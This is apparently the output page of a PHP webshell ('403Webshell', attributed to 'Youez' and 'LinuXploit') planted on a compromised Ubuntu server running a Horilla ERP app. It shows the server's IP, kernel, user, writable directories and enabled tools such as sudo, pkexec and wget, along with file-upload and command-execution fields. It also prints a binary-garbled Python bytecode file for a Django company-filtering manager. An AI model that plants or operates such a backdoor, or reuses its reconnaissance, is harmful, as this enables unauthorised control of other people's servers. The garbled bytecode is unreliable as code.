403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/base/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/base/__pycache__/horilla_company_manager.cpython-310.pyc
o

hͦh�@s�dZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZm
Z
e�e�ZejZdd	�Zeed	e�Gd
d�dej�ZdS)z
horilla_company_manager.py
�N)�	Coroutine�Sequence)�models)�QuerySet)�_thread_locals)�post_bulk_update�pre_bulk_updatecOsTttdd�}||_tj|j|||d�t|g|�Ri|��}tj|j|||d�|S)N�request)�sender�queryset�args�kwargs)�getattrrr	r�send�model�django_filter_updater)�selfrr
r	�result�r�,/var/www/erp/base/horilla_company_manager.py�updatesrcsNeZdZdZd
�fdd�	Z�fdd�Zdd�Z�fd	d
�Z�fdd�Z�Z	S)�HorillaCompanyManagerz
    HorillaCompanyManager
    Ncs&t�j|i|��||_ddg|_dS)N�employee_id�requested_employee_id)�super�__init__�related_company_field�check_fields)rrrr
��	__class__rrr&s

�zHorillaCompanyManager.__init__c
s�t���}ttdd�}d}|dur|j�d�}z|dkr%|r%|�|jj�n|}Wnt	y?}zt
�|�WYd}~nd}~wwz|��|�
���k}|rT|�
�}W|SW|SY|S)z%
        get_queryset method
        r	N�selected_company�all)r�get_querysetrr�session�get�filterr�company_filter�	Exception�logger�error�count�distinct)rrr	r �e�has_duplicatesrrrr".s0
����
��z"HorillaCompanyManager.get_querysetcCs�g}z[|��}|��r[zH|jjj}|dkr(ttdd�}t|dd�s'|jdd�}n$|jjjD]"}t	|t
j�rK|j|j
vrK|j�d�di}|jdi|��}q-WW|SWW|SYW|SW|SY|S)	z+
        Override the all() method
        �employeer	N�is_filteringT)�	is_active�__is_activer)r"�existsr�_meta�
model_namerrr%�fields�
isinstancer�
ForeignKey�namer)rrr4r	�field�related_model_is_active_filterrrrr!Hs>
�����
���zHorillaCompanyManager.allcs"t�j|i|��}ttd|�|S)N�queryset_filter)rr%�setattrr)rrr
rrrrr%fszHorillaCompanyManager.filtercst���}|S)zS
        Fetch all datas from a model without applying any company filter.
        )rr")rrrrr�get_allks
zHorillaCompanyManager.get_all)N)
�__name__�
__module__�__qualname__�__doc__rr"r!r%r=�
__classcell__rrrrr!sr)rA�logging�typingrr�	django.dbr�django.db.models.queryr�horilla.horilla_middlewaresr�horilla.signalsrr�	getLoggerr>r(rrr<�Managerrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit